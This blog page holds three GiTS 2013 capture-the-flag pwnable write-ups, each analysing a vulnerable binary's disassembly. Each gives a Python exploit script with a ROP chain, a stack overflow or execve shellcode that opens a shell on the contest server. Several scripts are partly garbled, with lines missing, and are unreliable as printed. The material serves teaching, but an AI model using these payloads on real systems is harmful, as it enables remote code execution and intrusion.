# codezen.frcode hacking, zen coding

19Feb/13Off

## GiTS 2013 CTF – Pwnables 250 Question 10 – Back2skool Write-up

#### Posted by aXs

back2skool-3fbcd46db37c50ad52675294f566790c777b9d1f: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

This is the binary for MathServ, "The one-stop shop for all your arithmetic needs".

\$ nc localhost 31337
__  ___      __  __   _____
/  |/  /___ _/ /_/ /_ / ___/___  ______   __ v0.01
/ /|_/ / __ `/ __/ __ \\__ \/ _ \/ ___/ | / /
/ /  / / /_/ / /_/ / / /__/ /  __/ /   | |/ /
/_/  /_/\__,_/\__/_/ /_/____/\___/_/    |___/
===============================================
Welcome to MathServ! The one-stop shop for all your arithmetic needs.
This program was written by a team of fresh CS graduates using only the most
agile of spiraling waterfall development methods, so rest assured there are
no bugs here!

Your current workspace is comprised of a 10-element table initialized as:
{ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 }

Commands:
write Write value to given index in table
func2 Change operation to multiplication
math  Perform math operation on table
exit  Quit and disconnect
1
Value at position 1: 1
write
Input position to write to:
1
Input numeric value to write:
10
Value at position 1: 10
func1
math
Result of math: 54
exit
Exiting program!

You can read and write numbers to an array and perform addition or multiplication of all the entries of the array.

Lets check how the "read" function works:

sendString(sockfd, (int)"Input position to read from:\n");
position = atoi(&nptr);
value =  *(_DWORD *)&values[4 * position];
sock_printf(sockfd, "Value at position %d: %d\n", value);

There is 2 vulnerabilities here:
- There is no bound checking on the position value
- position can be signed, allowing to use a negative offset

Basically, you can read and write any memory, this will prove useful for information leak purpose.

Lets move to the "write" function:

position = atoi(&nptr);
if ( position <= 9 )
{
sendString(sockfd, (int)"Input numeric value to write:\n");
*(_DWORD *)&values[4 * position] = atoi(&nptr);
sock_printf(sockfd, "Value at position %d: %d\n", position);
}
else
{
sendString(sockfd, (int)"Table index too large!\n");
}

Almost the same story here except we have an inefficient bound checking:
- You can still enter negative number and the if() check will pass
- As position is signed and later multiplied by 4 (left shifted by 2 positions), we can get the sign bit to disappear

10000000000000000000000000000011 = -2147483645 = 0x80000003
<< 2 00000000000000000000000000001100 = 12 = 0xC Now lets focus on the "math" command:

.text:080493A5                 mov     eax, ds:(math_ptr - 804BF54h)[ebx]
.text:080493AB                 mov     edx, [eax]
.text:080493AD                 mov     dword ptr [esp+4], 0Ah
.text:080493B5                 mov     eax, ds:(values_ptr - 804BF54h)[ebx]
.text:080493BB                 mov     [esp], eax
.text:080493BE                 call    edx

The function pointer stored in math_ptr is called directly. If we can overwrite the content of this math_ptr and replace it with an EIP we control, we will get remote code execution.

Some complications:
- The stack is NX
- The binary has been compiled with RELRO: read-only sections: .got, .dtors, etc...
- There is no interesting functions loaded in the GOT table for exploitation: no system, mmap, mprotected or execve

So our exploit workflow will be:
- Do information leak: get the address of libc's __libc_start_main in the GOT table
- Overwrite the math_ptr with a stack pivot
- Fill the values array with a shell command line : cat key>&4
- Fill a user controled buffer with a small ROP chain to call system() with the values array as parameter

Our stack pivot:

.text:08049550                 pop     ebx
.text:08049551                 pop     esi
.text:08049552                 pop     edi
.text:08049553                 pop     ebp
.text:08049554                 retn

A last importance piece of the puzzle is the exact offset of the system() function in memory. Using a previous challenge shell, we found out that the challenge box is running Ubuntu Precise i386 with libc 2.15. We need this to get the offset of system() inside libc6.so. You can download this specific version from here for example: http://109.203.104.18/automate/instances/linuxmint/pbuilder/precise-i386/base.cow/lib/i386-linux-gnu/libc-2.15.so

Using the information leak, we got the address of __libc_start_main() in memory. If we have the distance (offset) between __libc_start_main() and system(), we can calculate the system() function's address in memory.

\$ gdb libc.so.6
Reading symbols from libc.so.6...(no debugging symbols found)...done.
gdb\$ p system
\$1 = {<text variable, no debug info>} 0x3d170 <system>
gdb\$ p __libc_start_main
\$2 = {<text variable, no debug info>} 0x193e0 <__libc_start_main>

The offset between __libc_start_main() and system() is 0x3d170 - 0x193e0 = 0x23D90

So in memory, the address of system() will be the address of __libc_start_main() + 0x23D90

And we know the __libc_start_main() address from the GOT table.

We got everything, so here is the exploit:

import ctypes
import telnetlib
from struct import pack, unpack

math_ptr = 0x0804BFEC
user_ptr = 0x080499B8
got_table_start = 0x0804BF54
got_table_end = 0x0804BFFC

position = offset_to_position(offset)
tn.write(str(position) + "\n")
return ctypes.c_ulong(value).value

def write_memory(offset, value):
position = offset_to_position(offset)
tn.write("write\n")
tn.write(str(position) + "\n")
tn.write(str(ctypes.c_long(value).value) + "\n")
return ctypes.c_ulong(value).value

def overwrite_got_pointer(got, offset, value):
return write_memory(got[int(offset, 16)], value)

position = -((addr_values - offset) >> 2)
else:
position = 0x80000000 + ((offset - addr_values) >> 2)
return ctypes.c_long(position).value

HOST = 'back2skool.2013.ghostintheshellcode.com'
PORT = 31337

tn = telnetlib.Telnet(HOST, PORT)

print "Dumping GOT..."

got = {}
ptr = {}

for offset in range(got_table_start, got_table_end+4, 4):
hex_value = hex(value)
#print hex(offset),":", hex_value
got[offset] = value

print "Getting fd and __libc_start_main offset from GOT"

ptr['__libc_start_main'] = got[0x0804BF9C]

for value in ptr:
print value, '=', hex(ptr[value])

# Challenge box was Ubuntu Precise i386 with libc 2.15
system_ptr = ptr['__libc_start_main'] + (0x3d170 - 0x193e0) # __libc_start_main - system

print "system() is at", hex(system_ptr)

print "Math vfptr at " + hex(math)
print "Current math vfptr is", hex(read_memory(math))

print "Overwriting math vfptr with stack pivot"
write_memory(math, 0x08049550)

print "Current math vfptr is", hex(read_memory(math))

print "Filling values array with shell command"
# cat key>&4\n

print "Putting ROP chain on the stack"
tn.write('ABCD' + pack('<I', system_ptr) + 'ABCD' + pack('<I', addr_values)  + "\n")

print "Pwning!"
tn.write("math\n")

tn.write("exit\n")

Results:

\$ python pwn250.py
Dumping GOT...
Getting fd and __libc_start_main offset from GOT
sockfd = 0x4L
__libc_start_main = 0xf76133e0L
system() is at 0xf7637170L
Math vfptr at 0x804c078L
Current math vfptr is 0x0L
Overwriting math vfptr with stack pivot
Current math vfptr is 0x8049550L
Filling values array with shell command
Putting ROP chain on the stack
Pwning!
You couldn't own a box if you purchased it

Key is "You couldn't own a box if you purchased it"

17Feb/13Off

## GiTS 2013 CTF – Pwnable 100 Question 8 – Shiftd

#### Posted by aXs

shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

Shiftd is an interesting X86_64 challenge combining information leak and exploitation.

There is an hard-coded password for access to the service, then the binary asks you for your name and how you would like to format the current time:

\$ nc shiftd.2013.ghostintheshellcode.com 5177
NowIsTheWinterOfOurDiscountTent
Welcome to Shifty's Time Formatting Service!
aXs
Welcome, aXs[!
%y-%m-%d
13-02-17

Thank you! Come again!

Do you notice something wrong with the name ? There is an extra character "[". Lets do this against but login in hex the traffic:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 61 58 73 0a                                     # aXs.
< 00000040 57 65 6c 63 6f 6d 65 2c 20 61 58 73 bb ff 7f 21 # Welcome, aXs...!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

Oh, the character changed and we see some telltales of a information leak: "bbff7f", the beginning of a stack pointer for X86_84.

Let's take a look at the code to understand what's going on, the main function is quite short so I will be it in full:

.text:0000000000400872 do_menu         proc near               ; CODE XREF: .text:0000000000400A77p
.text:0000000000400872
.text:0000000000400872 timer           = dword ptr -828h
.text:0000000000400872 buffer          = byte ptr -820h
.text:0000000000400872 format          = byte ptr -420h
.text:0000000000400872 name            = byte ptr -20h
.text:0000000000400872 tp              = qword ptr -10h
.text:0000000000400872 strftime_result = dword ptr -4
.text:0000000000400872
.text:0000000000400872                 push    rbp
.text:0000000000400873                 mov     rbp, rsp
.text:0000000000400876                 sub     rsp, 830h
.text:000000000040087D                 lea     rsi, [rbp+format]
.text:0000000000400884                 mov     eax, 0
.text:0000000000400889                 mov     edx, 80h
.text:000000000040088E                 mov     rdi, rsi
.text:0000000000400891                 mov     rcx, rdx
.text:0000000000400894                 rep stosq
.text:0000000000400897                 lea     rsi, [rbp+buffer]
.text:000000000040089E                 mov     eax, 0
.text:00000000004008A3                 mov     edx, 80h
.text:00000000004008A8                 mov     rdi, rsi
.text:00000000004008AB                 mov     rcx, rdx
.text:00000000004008AE                 rep stosq
.text:00000000004008B1                 mov     [rbp+strftime_result], 0
.text:00000000004008B8                 lea     rdi, s          ; "Welcome to Shifty's Time Formatting Ser"...
.text:00000000004008BF                 call    _puts
.text:00000000004008C4                 lea     rdi, aWhatIsYourName ; "What is your name?"
.text:00000000004008CB                 call    _puts
.text:00000000004008D0                 mov     rax, cs:stdout_ptr
.text:00000000004008D7                 mov     rax, [rax]
.text:00000000004008DA                 mov     rdi, rax        ; stream
.text:00000000004008DD                 call    _fflush
.text:00000000004008E2                 lea     rax, [rbp+name]
.text:00000000004008E6                 mov     edx, 0Ah
.text:00000000004008EB                 mov     esi, 10h
.text:00000000004008F0                 mov     rdi, rax
.text:00000000004008F8                 lea     rax, format     ; "Welcome, %s!\n"
.text:00000000004008FF                 lea     rdx, [rbp+name]
.text:0000000000400903                 mov     rsi, rdx
.text:0000000000400906                 mov     rdi, rax        ; format
.text:0000000000400909                 mov     eax, 0
.text:000000000040090E                 call    _printf
.text:000000000040091A                 call    _puts
.text:000000000040091F                 mov     rax, cs:stdout_ptr
.text:0000000000400926                 mov     rax, [rax]
.text:0000000000400929                 mov     rdi, rax        ; stream
.text:000000000040092C                 call    _fflush
.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax
.text:0000000000400958                 lea     rax, [rbp+timer]
.text:000000000040095F                 mov     rdi, rax        ; timer
.text:0000000000400962                 call    _time
.text:0000000000400967                 lea     rax, [rbp+timer]
.text:000000000040096E                 mov     rdi, rax        ; timer
.text:0000000000400971                 call    _localtime
.text:0000000000400976                 mov     [rbp+tp], rax
.text:000000000040097A                 mov     rcx, [rbp+tp]   ; tp
.text:000000000040097E                 lea     rdx, [rbp+format] ; format
.text:0000000000400985                 lea     rax, [rbp+buffer]
.text:000000000040098C                 mov     esi, 400h       ; maxsize
.text:0000000000400991                 mov     rdi, rax        ; s
.text:0000000000400994                 call    _strftime
.text:0000000000400999                 mov     [rbp+strftime_result], eax
.text:000000000040099C                 cmp     [rbp+strftime_result], 0C0000005h
.text:00000000004009A3                 jz      short failed_strftime
.text:00000000004009A5                 lea     rdi, aYourFormattedT ; "Your formatted time is:"
.text:00000000004009AC                 call    _puts
.text:00000000004009B1                 lea     rax, [rbp+buffer]
.text:00000000004009B8                 mov     rdi, rax        ; s
.text:00000000004009BB                 call    _puts
.text:00000000004009C0                 lea     rdi, empty_string ; s
.text:00000000004009C7                 call    _puts
.text:00000000004009CC                 lea     rdi, aThankYouComeAg ; "Thank you! Come again!"
.text:00000000004009D3                 call    _puts
.text:00000000004009D8                 mov     rax, cs:stdout_ptr
.text:00000000004009DF                 mov     rax, [rax]
.text:00000000004009E2                 mov     rdi, rax        ; stream
.text:00000000004009E5                 call    _fflush
.text:00000000004009EA                 leave
.text:00000000004009EB                 retn

The problem is that do_read() doesn't NULL-terminate the string. So when we print the name, we print the name and whatever is after the name on the stack until we hit a NULL.

Let's try again but with an empty name:

< 00000020 69 6e 67 20 53 65 72 76 69 63 65 21 0a 57 68 61 # ing Service!.Wha
< 00000030 74 20 69 73 20 79 6f 75 72 20 6e 61 6d 65 3f 0a # t is your name?.
> 00000020 0a                                              # .
< 00000040 57 65 6c 63 6f 6d 65 2c 20 80 c5 1d 6c ff 7f 21 # Welcome, ...l..!
< 00000050 0a 50 6c 65 61 73 65 20 70 72 6f 76 69 64 65 20 # .Please provide
< 00000060 61 20 74 69 6d 65 20 66 6f 72 6d 61 74 3a 0a    # a time format:.

We get "80 c5 1d 6c ff 7f", otherwise said 0x7fff6c1dc580 which is full pointer to an element on the stack (it's a pointer to the previous string used by the password actually)

That's a great piece for our puzzle as this binary is ALSR: memory layout and so pointers change values (randomized base) each time you run it. Now we can hit the stack with 100% confidence. But it's not a vulnerability in itself. What else have we got in here ?

Let's take a look at the do_read() (again!) call for reading the time format:

.text:0000000000400931                 mov     rax, cs:off_601068
.text:0000000000400938                 mov     rcx, rax
.text:000000000040093B                 and     ecx, 7FFFFFFFh
.text:0000000000400941                 lea     rax, [rbp+format]
.text:0000000000400948                 mov     edx, 0Ah
.text:000000000040094D                 mov     rsi, rcx
.text:0000000000400950                 mov     rdi, rax

In the rdi register we have the maximum buffer size allowed to be read from the socket, coming from rax and cs:off_601068:

.data:0000000000601068 off_601068      dq offset stderr+400h   ; DATA XREF: do_menu+BFr

What is this? stderr is an external symbol of libc. It's offset (position) in memory is a very big number and we are still adding even more with +400h.

As we can read almost as much we want in the format buffer due to the faulty max size, we can overflow it and smash the stack.

Using trial and error and Metasploit's pattern_create tool we calculate we have to fill 1064 bytes until we hit and overwrite the return address on the stack.

- Receive "Welcome, %s!" and decode pointer for information leak
- Calculate RETIP using the leaked pointer, our NOPSLED will be 2112 bytes before this pointer
- Send [NOPSLED][SHELLCODE][RETIP]

import socket
from struct import pack, unpack

host = 'shiftd.2013.ghostintheshellcode.com'
port = 5177

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

s.send("NowIsTheWinterOfOurDiscountTent\n")

data = s.recv(16384)
print repr(data)

s.send("\n")

data = s.recv(16384)
stack = data[len('Welcome, '):len('Welcome, ')+6] +"\x00\x00"

retip = pack('<Q', stack_addr - 0x840)

print 'retip=', repr(retip), len(retip)

s.send('\x90' * 16 + shellcode + 'A' * (1064 - 16 - len(shellcode)) + retip + "\n")

data = s.recv(32768)
print repr(data)

s.send("\ncat /home/shiftd/key\n")

data = s.recv(32768)
print data

Result:

"Welcome to Shifty's Time Formatting Service!\nWhat is your name?\n"
retip= '\xa0O\xa1\xeb\xff\x7f\x00\x00' 8
'Your formatted time is:\n\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc0H\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xffH\xf7\xdbST_\x99RWT^\xb0;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n\nThank you! Come again!\n'
http://shifty.urbanup.com/4195551
17Feb/13Off

## GiTS 2013 CTF – Pwnable 100 Question 5 – FunnyBusiness

#### Posted by aXs

funnybusiness-fb84813ddd932f6aceee0ed3a4e9f1e0a7082dc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, stripped

After reversing this ELF32 binary, when we reconstruct the following connection handler:

int __cdecl handler(int sock_fd)
{
int z_code;
char zlib_input_buffer;

strm.zalloc = 0;
strm.zfree = 0;
strm.opaque = 0;
strm.avail_in = 0;
strm.next_in = 0;
z_code = inflateInit_(&strm, "1.2.7", 56);
if ( !z_code )
{
if ( strm.avail_in <= 0x4000 )
{
strm.next_in = (Bytef *)&zlib_input_buffer;
strm.avail_out = 16384;
strm.next_out = (Bytef *)zlib_output_buffer;
if ( inflate(&strm, 4) != 1 )
exit(0);
inflateEnd(&strm);
}
}
return z_code;
}

Workflow:
- Initialize zlib 1.2.7 library
- Read compressed stream size from socket
- Read compressed stream into buffer
- Try to unpack it, exit if the compressed stream is corrupted
- If uncompress is succesful, return from the function

zlib_input_buffer is too small on purpose:

status= dword ptr -2Ch
flush= dword ptr -28h
stream_size= dword ptr -24h
zlib_input_buffer= byte ptr -0Dh
var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4
sock_fd= dword ptr 4

So we can smash the stack and get control of the return address. But only if we can actually return from the function which mean the compressed stream we need to send must be valid and still contains our RETIP and shellcode in uncompressed form to be exploitable.

Hopefully, Zlib has many compression levels including the 0 level which means "no compression" at all.

import socket
import zlib
from struct import pack, unpack

port = 49681

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))

plaintext = '000000'
plaintext += pack('<I', 0x0804B0AA)

# dup2(4)
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6"
# execve shellcode
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

plaintext += shellcode

buffer = zlib.compress(plaintext, 0)

s.send(pack('<I', len(buffer)))

s.send(buffer)
s.send("\ncat key\n")

data = s.recv(16384)
print repr(data)

Result and key:

\$ python pwn100.py
'Compressions can be hard at times\n'
Tagged as: , , , Comments Off